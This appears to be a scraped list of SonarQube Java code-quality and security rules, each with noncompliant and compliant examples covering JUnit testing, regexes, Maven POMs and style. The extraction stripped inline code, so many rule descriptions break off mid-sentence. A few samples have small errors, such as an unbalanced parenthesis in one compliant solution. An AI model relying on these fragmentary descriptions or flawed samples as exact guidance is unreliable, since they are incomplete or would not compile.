be confusing. The compiler will resolve the call to the superclass method, but maintainers may be confused, so the superclass method should be called
explicitly, using Noncompliant Code Examplepublic class Parent { public void foo() { ... } } public class Outer { public void foo() { ... } public class Inner extends Parent { public void doTheThing() { foo(); // Noncompliant; was Outer.this.foo() intended instead? // ... } } } Compliant Solutionpublic class Parent { public void foo() { ... } } public class Outer { public void foo() { ... } public class Inner extends Parent { public void doTheThing() { super.foo(); // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5779 |
Assertion methods are throwing a " Noncompliant Code Example@Test public void should_throw_assertion_error() { try { throwAssertionError(); Assert.fail("Expected an AssertionError!"); // Noncompliant, the AssertionError will be caught and the test will never fail. } catch (AssertionError e) {} } private void throwAssertionError() { throw new AssertionError("My assertion error"); } Compliant SolutionassertThrows(AssertionError.class, () -> throwAssertionError()); try { throwAssertionError(); Assert.fail("Expected an AssertionError!"); // Compliant, we made sure to test that the correct error is raised } catch (AssertionError e) { Assert.assertThat(e.getMessage(), is("My assertion error")); } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5413 |
When Noncompliant Code Examplevoid removeFrom(List<String> list) { // expected: iterate over all the elements of the list for (int i = 0; i < list.size(); i++) { if (list.get(i).isEmpty()) { // actual: remaining elements are shifted, so the one immediately following will be skipped list.remove(i); // Noncompliant } } } Compliant SolutionYou can either adjust the loop index to account for the change in the size of the list static void removeFrom(List<String> list) { // expected: iterate over all the elements of the list for (int i = 0; i < list.size(); i++) { if (list.get(i).isEmpty()) { // actual: remaining elements are shifted, so the one immediately following will be skipped list.remove(i); i--; } } } Or preferably it's probably better to rely on Java 8's static void removeFrom(List<String> list) { list.removeIf(String::isEmpty); }
ExceptionsThe descending loop doesn't have this issue, because the index will be correct when we loop in descending order void removeFrom(List<String> list) { for (int i = list.size() - 1; i >= 0; i--) { if (list.get(i).isEmpty()) { list.remove(i); } } }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5776 |
When testing exception via You should consider using org.junit.Assert.assertThrows instead, it's available since JUnit 4.13 and it allows additional subsequent assertions. Alternatively, you could use try-catch idiom for JUnit version < 4.13 or if your project does not support lambdas. Noncompliant Code Example@Rule public ExpectedException thrown = ExpectedException.none(); @Test public void test() throws IndexOutOfBoundsException { thrown.expect(IndexOutOfBoundsException.class); // Noncompliant Object o = get(); // This test pass since execution will never get past this line. Assert.assertEquals(0, 1); } private Object get() { throw new IndexOutOfBoundsException(); } Compliant Solution
Assert.assertThrows(IndexOutOfBoundsException.class, () -> get()); // This test correctly fails. Assert.assertEquals(0, 1);
try { get(); Assert.fail("Expected an IndexOutOfBoundsException to be thrown"); } catch (IndexOutOfBoundsException e) {} Assert.assertEquals(0, 1); // Correctly fails. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Examplepublic String getReadableStatus(Job j) { return j.isRunning() ? "Running" : j.hasErrors() ? "Failed" : "Succeeded"; // Noncompliant } Compliant Solutionpublic String getReadableStatus(Job j) { if (j.isRunning()) { return "Running"; } return j.hasErrors() ? "Failed" : "Succeeded"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2148 |
Beginning with Java 7, it is possible to add underscores ('_') to numeric literals to enhance readability. The addition of underscores in this manner has no semantic meaning, but makes it easier for maintainers to understand the code. The number of digits to the left of a decimal point needed to trigger this rule varies by base.
It is only the presence of underscores, not their spacing that is scrutinized by this rule. Note that this rule is automatically disabled when the project's Noncompliant Code Exampleint i = 10000000; // Noncompliant; is this 10 million or 100 million? int j = 0b01101001010011011110010101011110; // Noncompliant long l = 0x7fffffffffffffffL; // Noncompliant Compliant Solutionint i = 10_000_000; int j = 0b01101001_01001101_11100101_01011110; long l = 0x7fff_ffff_ffff_ffffL; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5777 |
When testing exception via You should consider moving any assertions into a separate test method where possible, or using org.junit.Assert.assertThrows instead. Alternatively, you could use try-catch idiom for JUnit version < 4.13 or if your project does not support lambdas. Noncompliant Code Example@Test(expected = IndexOutOfBoundsException.class) public void testShouldFail() { get(); // This test pass since execution will never get past this line. Assert.assertEquals(0, 1); } private Object get() { throw new IndexOutOfBoundsException(); } Compliant Solution
// This test correctly fails. @Test public void testToString() { Object obj = get(); Assert.assertThrows(IndexOutOfBoundsException.class, () -> obj.toString()); Assert.assertEquals(0, 1); }
@Test public void testShouldFail() { Object obj = get(); try { obj.toString(); Assert.fail("Expected an IndexOutOfBoundsException to be thrown"); } catch (IndexOutOfBoundsException e) {} Assert.assertEquals(0, 1); // Correctly fails. } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code Examplepublic int numberOfMinutes(int hours) { int seconds = 0; // seconds is never used return hours * 60; } Compliant Solutionpublic int numberOfMinutes(int hours) { return hours * 60; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3306 |
Field injection seems like a tidy way to get your classes what they need to do their jobs, but it's really a Instead This rule raises an issue when classes with non- Noncompliant Code Exampleclass MyComponent { // Anyone can call the default constructor @Inject MyCollaborator collaborator; // Noncompliant public void myBusinessMethod() { collaborator.doSomething(); // this will fail in classes new-ed by a caller } } Compliant Solutionclass MyComponent { private final MyCollaborator collaborator; @Inject public MyComponent(MyCollaborator collaborator) { Assert.notNull(collaborator, "MyCollaborator must not be null!"); this.collaborator = collaborator; } public void myBusinessMethod() { collaborator.doSomething(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4517 |
According to the Java documentation, any implementation of the But in Java, the Noncompliant Code Example@Override public int read() throws IOException { if (pos == buffer.length()) { return -1; } return buffer.getByte(pos++); // Noncompliant, a signed byte value is returned } Compliant Solution@Override public int read() throws IOException { if (pos == buffer.length()) { return -1; } return buffer.getByte(pos++) & 0xFF; // The 0xFF bitmask is applied } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5969 |
If you end up mocking every non-private method of a class in order to write tests, it is a strong sign that your test became too complex, or that you misunderstood the way you are supposed to use the mocking mechanism. You should either refactor the test code into multiple units, or consider using the class itself, by either directly instantiating it, or creating a new one inheriting from it, with the expected behavior. This rule reports an issue when every member of a given class are mocked. Noncompliant Code Example@Test void test_requiring_MyClass() { MyClass myClassMock = mock(MyClass.class); // Noncompliant when(myClassMock.f()).thenReturn(1); when(myClassMock.g()).thenReturn(2); //... } abstract class MyClass { abstract int f(); abstract int g(); } Compliant Solution@Test void test_requiring_MyClass() { MyClass myClass = new MyClassForTest(); //... } class MyClassForTest extends MyClass { @Override int f() { return 1; } @Override int g() { return 2; } } or @Test void test_requiring_f() { MyClass myClassMock = mock(MyClass.class); when(myClassMock.f()).thenReturn(1); //... } @Test void test_requiring_g() { MyClass myClassMock = mock(MyClass.class); when(myClassMock.g()).thenReturn(2); //... } abstract class MyClass { abstract int f(); abstract int g(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3305 |
When Noncompliant Code Example@Configuration public class FooConfiguration { @Autowired private DataSource dataSource; // Noncompliant @Bean public MyService myService() { return new MyService(this.dataSource); } } Compliant Solution@Configuration public class FooConfiguration { @Bean public MyService myService(DataSource dataSource) { return new MyService(dataSource); } } ExceptionsFields used in methods that are called directly by other methods in the application (as opposed to being invoked automatically by the Spring framework) are ignored by this rule so that direct callers don't have to provide the dependencies themselves. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1128 |
The imports part of a file should be handled by the Integrated Development Environment (IDE), not manually by the developer. Unused and useless imports should not occur if that is the case. Leaving them in reduces the code's readability, since their presence can be confusing. Noncompliant Code Examplepackage my.company; import java.lang.String; // Noncompliant; java.lang classes are always implicitly imported import my.company.SomeClass; // Noncompliant; same-package files are always implicitly imported import java.io.File; // Noncompliant; File is not used import my.company2.SomeType; import my.company2.SomeType; // Noncompliant; 'SomeType' is already imported class ExampleClass { public String someString; public SomeType something; } ExceptionsImports for types mentioned in comments, such as Javadocs, are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5846 |
One way to test for empty lines is to use the regex
As emphasized, ^ is not going to match at the end of an input, and the end of the input is necessarily included in the empty string, which might lead to completely missing empty lines, while it would be the initial reason for using such regex. Therefore, when searching for empty lines using a multi-line regular expression, you should also check whether the string is empty. This rule is raising an issue every time a pattern that can match the empty string is used with Noncompliant Code Examplestatic final Pattern p = Pattern.compile("^$", Pattern.MULTILINE); // Noncompliant // Alternatively static final Pattern p = Pattern.compile("(?m)^$"); // Noncompliant boolean containsEmptyLines(String str) { return p.matcher(str).find(); } // ... System.out.println(containsEmptyLines("a\n\nb")); // correctly prints 'true' System.out.println(containsEmptyLines("")); // incorrectly prints 'false' Compliant Solutionstatic final Pattern p = Pattern.compile("^$", Pattern.MULTILINE); boolean containsEmptyLines(String str) { return p.matcher(str).find() || str.isEmpty(); } // ... System.out.println(containsEmptyLines("a\n\nb")); // correctly prints 'true' System.out.println(containsEmptyLines("")); // also correctly prints 'true' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5967 |
Annotating unit tests with more than one test-related annotation is not only useless but could also result in unexpected behavior like failing tests or unwanted side-effects. This rule reports an issue when a test method is annotated with more than one of the following competing annotation:
Noncompliant Code Example@Test @RepeatedTest(2) // Noncompliant, this test will be repeated 3 times void test() { } @ParameterizedTest @Test @MethodSource("methodSource") void test2(int argument) { } // Noncompliant, this test will fail with ParameterResolutionException Compliant Solution@RepeatedTest(2) void test() { } @ParameterizedTest @MethodSource("methodSource") void test2(int argument) { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5840 |
Using certain features of regular expressions, it is possible to create regular expressions that can never match or contain subpatterns that can never match. Since a pattern or sub-pattern that can never match any input is pointless, this is a sign that the pattern does not work as intended and needs to be fixed. This rule finds some such regular expressions and subpatterns, specifically ones that meet one of the following conditions:
Noncompliant Code ExampleBoundaries$[a-z]*^ Backreference\1(.) Compliant SolutionBoundaries^[a-z]*$ Backreference(.)\1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2693 |
The problem with invoking This rule raises an issue any time Noncompliant Code Examplepublic class MyClass { Thread thread = null; public MyClass(Runnable runnable) { thread = new Thread(runnable); thread.start(); // Noncompliant } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5961 |
A common good practice is to write test methods targeting only one logical concept, that can only fail for one reason. While it might make sense to have more than one assertion to test one concept, having too many is a sign that a test became too complex and should be refactored to multiples ones. This rule will report any test method containing more than a given number of assertion. Noncompliant Code ExampleWith a parameter of 2. @Test void test() { // Refactor this method. assertEquals(1, f(1)); assertEquals(2, f(2)); assertEquals(3, g(1)); } Compliant Solutionvoid test_f() { assertEquals(1, f(1)); assertEquals(2, f(2)); } void test_g() { assertEquals(3, g(1)); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1120 |
Proper indentation is a simple and effective way to improve the code's readability. Consistent indentation among the developers within a team also reduces the differences that are committed to source control systems, making code reviews easier. This rule raises an issue when indentation does not match the configured value. Only the first line of a badly indented section is reported. Noncompliant Code ExampleWith an indent size of 2: class Foo { public int a; public int b; // Noncompliant, expected to start at column 4 ... public void doSomething() { if(something) { doSomethingElse(); // Noncompliant, expected to start at column 6 } // Noncompliant, expected to start at column 4 } } Compliant Solutionclass Foo { public int a; public int b; ... public void doSomething() { if(something) { doSomethingElse(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2692 |
Most checks against an This rule raises an issue when an Noncompliant Code ExampleString color = "blue"; String name = "ishmael"; List<String> strings = new ArrayList<String> (); strings.add(color); strings.add(name); if (strings.indexOf(color) > 0) { // Noncompliant // ... } if (name.indexOf("ish") > 0) { // Noncompliant // ... } if (name.indexOf("ae") > 0) { // Noncompliant // ... } Compliant SolutionString color = "blue"; String name = "ishmael"; List<String> strings = new ArrayList<String> (); strings.add(color); strings.add(name); if (strings.indexOf(color) > -1) { // ... } if (name.indexOf("ish") >= 0) { // ... } if (name.contains("ae") { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4510 |
Deserialization from an untrusted source using the XMLDecoder library can lead to unexpected code execution. For example, it has led in the past to the following vulnerability: XMLDecoder supports arbitrary method invocation. This capability is intended to call setter methods only but nothing prevents the execution of any other method. This rule raises an issue when XMLDecoder is instantiated. The call to "readObject" is also highlighted to show where the malicious code can be executed. Ask Yourself Whether
(*) You are at risk if you answered yes to this question. Recommended Secure Coding PracticesIf you only need a simple deserialization, use instead one of the deserialization libraries recommended by OWASP. If you really need to use XMLDecoder, make sure that the serialized data cannot be tampered with. Sensitive Code Examplepublic void decode(InputStream in) { XMLDecoder d = new XMLDecoder(in); // Sensitive Object result = d.readObject(); [...] d.close(); } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5841 |
AssertJ assertions This rule raises an issue when any of the methods listed are used without asserting that the list is empty or not and without testing the content. Targetted methods:
Noncompliant Code ExampleList<String> logs = getLogs(); assertThat(logs).allMatch(e -> e.contains(“error”)); // Noncompliant, this test pass if logs are empty! assertThat(logs).doesNotContain("error"); // Noncompliant, do you expect any log? Compliant SolutionList<String> logs = getLogs(); assertThat(logs).isNotEmpty().allMatch(e -> e.contains(“error”)); // Or assertThat(logs).hasSize(5).allMatch(e -> e.contains(“error”)); // Or assertThat(logs).isEmpty(); // Despite being redundant, this is also acceptable since it explains why you expect an empty list assertThat(logs).doesNotContain("error").isEmpty(); // or test the content of the list further assertThat(logs).contains("warning").doesNotContain("error"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1121 |
Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects. Noncompliant Code Exampleif ((str = cont.substring(pos1, pos2)).isEmpty()) { // Noncompliant //... Compliant Solutionstr = cont.substring(pos1, pos2); if (str.isEmpty()) { //... ExceptionsAssignments in BufferedReader br = new BufferedReader(/* ... */); String line; while ((line = br.readLine()) != null) {...} Chained assignments, including compound assignments, are ignored. int i = j = 0; int k = (j += 1); result = (bresult = new byte[len]); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2211 |
Shared coding conventions allow teams to collaborate effectively. While types for lambda arguments are optional, specifying them anyway makes the code clearer and easier to read. Noncompliant Code ExampleArrays.sort(rosterAsArray, (a, b) -> { // Noncompliant return a.getBirthday().compareTo(b.getBirthday()); } ); Compliant SolutionArrays.sort(rosterAsArray, (Person a, Person b) -> { return a.getBirthday().compareTo(b.getBirthday()); } ); ExceptionsWhen the lambda has one or two parameters and does not have a block this rule will not fire up an issue as things are considered more readable in those cases. stream.map((a, b) -> a.length); // compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2695 |
The parameters in a Noncompliant Code ExamplePreparedStatement ps = con.prepareStatement("SELECT fname, lname FROM employees where hireDate > ? and salary < ?"); ps.setDate(0, date); // Noncompliant ps.setDouble(3, salary); // Noncompliant ResultSet rs = ps.executeQuery(); while (rs.next()) { String fname = rs.getString(0); // Noncompliant // ... } Compliant SolutionPreparedStatement ps = con.prepareStatement("SELECT fname, lname FROM employees where hireDate > ? and salary < ?"); ps.setDate(1, date); ps.setDouble(2, salary); ResultSet rs = ps.executeQuery(); while (rs.next()) { String fname = rs.getString(1); // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3421 |
Deprecated features are those that have been retained temporarily for backward compatibility, but which will eventually be removed. In effect, deprecation announces a grace period to allow the smooth transition from the old features to the new ones. In that period, no use of the deprecated features should be added, and all existing uses should be gradually removed. This rule raises an issue when Noncompliant Code Example<build> <finalName>${pom.artifactId}-${pom.version}</finalName> <!-- Noncompliant --> Compliant Solution<build> <finalName>${project.artifactId}-${project.version}</finalName> or <build> <finalName>${artifactId}-${version}</finalName> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5960 |
Assertions are intended to be used in test code, but not in production code. It is confusing, and might lead to
In addition, assertions will throw a sub-class of This rule raises an issue when any assertion intended to be used in test is used in production code. Supported frameworks:
Note: this does not apply for |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2694 |
A non-static inner class has a reference to its outer class, and access to the outer class' fields and methods. That class reference makes the inner class larger and could cause the outer class instance to live in memory longer than necessary. If the reference to the outer class isn't used, it is more efficient to make the inner class However, while a nested/
Noncompliant Code Examplepublic class Fruit { // ... public class Seed { // Noncompliant; there's no use of the outer class reference so make it static int germinationDays = 0; public Seed(int germinationDays) { this.germinationDays = germinationDays; } public int getGerminationDays() { return germinationDays; } } } Compliant Solutionpublic class Fruit { // ... public static class Seed { int germinationDays = 0; public Seed(int germinationDays) { this.germinationDays = germinationDays; } public int getGerminationDays() { return germinationDays; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3420 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a pom's Noncompliant Code ExampleWith the default regular expression: <project ...> <artifactId>My_Project</artifactId> <!-- Noncompliant --> <!-- ... --> </project> Compliant Solution<project ...> <artifactId>my-project</artifactId> <!-- ... --> </project> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1244 |
Floating point math is imprecise because of the challenges of storing such values in a binary representation. Even worse, floating point math is
not associative; push a Even simple floating point assignments are not simple: float f = 0.1; // 0.100000001490116119384765625 double d = 0.1; // 0.1000000000000000055511151231257827021181583404541015625 (Results will vary based on compiler and compiler settings); Therefore, the use of the equality ( This rule checks for the use of direct and indirect equality/inequailty tests on floats and doubles. Noncompliant Code Examplefloat myNumber = 3.146; if ( myNumber == 3.146f ) { //Noncompliant. Because of floating point imprecision, this will be false // ... } if ( myNumber != 3.146f ) { //Noncompliant. Because of floating point imprecision, this will be true // ... } if (myNumber < 4 || myNumber > 4) { // Noncompliant; indirect inequality test // ... } float zeroFloat = 0.0f; if (zeroFloat == 0) { // Noncompliant. Computations may end up with a value close but not equal to zero. } ExceptionsSince float f; double d; if(f != f) { // Compliant; test for NaN value System.out.println("f is NaN"); } else if (f != d) { // Noncompliant // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1123 |
Deprecation should be marked with both the Further, Java 9 adds two additional arguments to the annotation:
If your compile level is Java 9 or higher, you should be using one or both of these arguments. Noncompliant Code Exampleclass MyClass { @Deprecated public void foo1() { } /** * @deprecated */ public void foo2() { // Noncompliant } } Compliant Solutionclass MyClass { /** * @deprecated (when, why, refactoring advice...) */ @Deprecated public void foo1() { } /** * Java >= 9 * @deprecated (when, why, refactoring advice...) */ @Deprecated(since="5.1") public void foo2() { } /** * Java >= 9 * @deprecated (when, why, refactoring advice...) */ @Deprecated(since="4.2", forRemoval=true) public void foo3() { } } ExceptionsThe members and methods of a deprecated class or interface are ignored by this rule. The classes and interfaces themselves are still subject to it. /** * @deprecated (when, why, etc...) */ @Deprecated class Qix { public void foo() {} // Compliant; class is deprecated } /** * @deprecated (when, why, etc...) */ @Deprecated interface Plop { void bar(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3423 |
The POM Code Convention is the Maven project's internal recommendation for POM element ordering. It calls for listing modifiers in the following order:
Not following this convention has no technical impact, but will reduce the pom's readability because most developers are used to the standard order. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1124 |
The Java Language Specification recommends listing modifiers in the following order: 1. Annotations 2. public 3. protected 4. private 5. abstract 6. static 7. final 8. transient 9. volatile 10. synchronized 11. native 12. strictfp Not following this convention has no technical impact, but will reduce the code's readability because most developers are used to the standard order. Noncompliant Code Examplestatic public void main(String[] args) { // Noncompliant } Compliant Solutionpublic static void main(String[] args) { // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2333 |
The methods declared in an Since annotations are implicitly interfaces, the same holds true for them as well. Similarly, the Noncompliant Code Examplepublic interface Vehicle { public void go(int speed, Direction direction); // Noncompliant Compliant Solutionpublic interface Vehicle { void go(int speed, Direction direction); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2696 |
Correctly updating a This rule raises an issue each time a Noncompliant Code Examplepublic class MyClass { private static int count = 0; public void doSomething() { //... count++; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4635 |
Looking for a given substring starting from a specified offset can be achieved by such code: To avoid performance problems,
For each of these methods, another method with an additional parameter is available to specify an offset. Using these methods gives the same result while avoiding the creation of additional Noncompliant Code Examplestr.substring(beginIndex).indexOf(char1); // Noncompliant; a new String is going to be created by "substring" Compliant Solutionstr.indexOf(char1, beginIndex); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5845 |
Assertions comparing incompatible types always fail, and negative assertions always pass. At best, negative assertions are useless. At worst, the developer loses time trying to fix his code logic before noticing wrong assertions. Dissimilar types are:
This rule also raises issues for unrelated Supported test frameworks:
Noncompliant Code Exampleinterface KitchenTool {} interface Plant {} class Spatula implements KitchenTool {} class Tree implements Plant {} void assertValues(int size, Spatula spatula, KitchenTool tool, KitchenTool[] tools, Tree tree, Plant plant, Tree[] trees) { // Whatever the given values, those negative assertions will always pass due to dissimilar types: assertThat(size).isNotNull(); // Noncompliant; primitives can not be null assertThat(spatula).isNotEqualTo(tree); // Noncompliant; unrelated classes assertThat(tool).isNotSameAs(tools); // Noncompliant; array & non-array assertThat(trees).isNotEqualTo(tools); // Noncompliant; incompatible arrays // Those assertions will always fail assertThat(size).isNull(); // Noncompliant assertThat(spatula).isEqualTo(tree); // Noncompliant // Those negative assertions are more likely to always pass assertThat(spatula).isNotEqualTo(plant); // Noncompliant; unrelated class and interface assertThat(tool).isNotEqualTo(plant); // Noncompliant; unrelated interfaces } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3422 |
Noncompliant Code Example<dependency> <groupId>javax.sql</groupId> <artifactId>jdbc-stdext</artifactId> <version>2.0</version> <scope>system</scope> <!-- Noncompliant --> <systemPath>/usr/bin/lib/rt.jar</systemPath> <!-- remove this --> </dependency> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif (booleanMethod() == true) { /* ... */ } if (booleanMethod() == false) { /* ... */ } if (booleanMethod() || false) { /* ... */ } doSomething(!false); doSomething(booleanMethod() == true); booleanVariable = booleanMethod() ? true : false; booleanVariable = booleanMethod() ? true : exp; booleanVariable = booleanMethod() ? false : exp; booleanVariable = booleanMethod() ? exp : true; booleanVariable = booleanMethod() ? exp : false; Compliant Solutionif (booleanMethod()) { /* ... */ } if (!booleanMethod()) { /* ... */ } if (booleanMethod()) { /* ... */ } doSomething(true); doSomething(booleanMethod()); booleanVariable = booleanMethod(); booleanVariable = booleanMethod() || exp; booleanVariable = !booleanMethod() && exp; booleanVariable = !booleanMethod() || exp; booleanVariable = booleanMethod() && exp; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3546 |
Leaking resources in an application is never a good idea, as it can lead to memory issues, and even the crash of the application. This rule template allows you to specify which constructions open a resource and how it is closed in order to raise issue within a method scope when custom resources are leaked. See also
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5842 |
A regex should never include a repetitive pattern whose body would match the empty String. This is usually a sign that a part of the regex is redundant or does not do what the author intended. Noncompliant Code Example"(?:)*" // same as the empty regex, the '*' accomplishes nothing "(?:|x)*" // same as the empty regex, the alternative has no effect "(?:x|)*" // same as 'x*', the empty alternative has no effect "(?:x*|y*)*" // same as 'x*', the first alternative would always match, y* is never tried "(?:x?)*" // same as 'x*' "(?:x?)+" // same as 'x*' Compliant Solution"x*" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1488 |
Declaring a variable only to immediately return or throw it is a bad practice. Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned. Noncompliant Code Examplepublic long computeDurationInMilliseconds() { long duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; return duration; } public void doSomething() { RuntimeException myException = new RuntimeException(); throw myException; } Compliant Solutionpublic long computeDurationInMilliseconds() { return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; } public void doSomething() { throw new RuntimeException(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2699 |
A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test. This rule raises an exception when no assertions from any of the following known frameworks are found in a test:
Furthermore, as new or custom assertion frameworks may be used, the rule can be parametrized to define specific methods that will also be
considered as assertions. No issue will be raised when such methods are found in test cases. The parameter value should have the following format
Example: Noncompliant Code Example@Test public void testDoSomething() { // Noncompliant MyClass myClass = new MyClass(); myClass.doSomething(); } Compliant SolutionExample when import com.company.CompareToTester; @Test public void testDoSomething() { MyClass myClass = new MyClass(); assertNull(myClass.doSomething()); // JUnit assertion assertThat(myClass.doSomething()).isNull(); // Fest assertion } @Test public void testDoSomethingElse() { MyClass myClass = new MyClass(); new CompareToTester().compareWith(myClass); // Compliant - custom assertion method defined as rule parameter CompareToTester.compareStatic(myClass); // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4512 |
Setting JavaBean properties is security sensitive. Doing it with untrusted values has led in the past to the following vulnerability: JavaBeans can have their properties or nested properties set by population functions. An attacker can leverage this feature to push into the JavaBean malicious data that can compromise the software integrity. A typical attack will try to manipulate the ClassLoader and finally execute malicious code. This rule raises an issue when:
Ask Yourself Whether
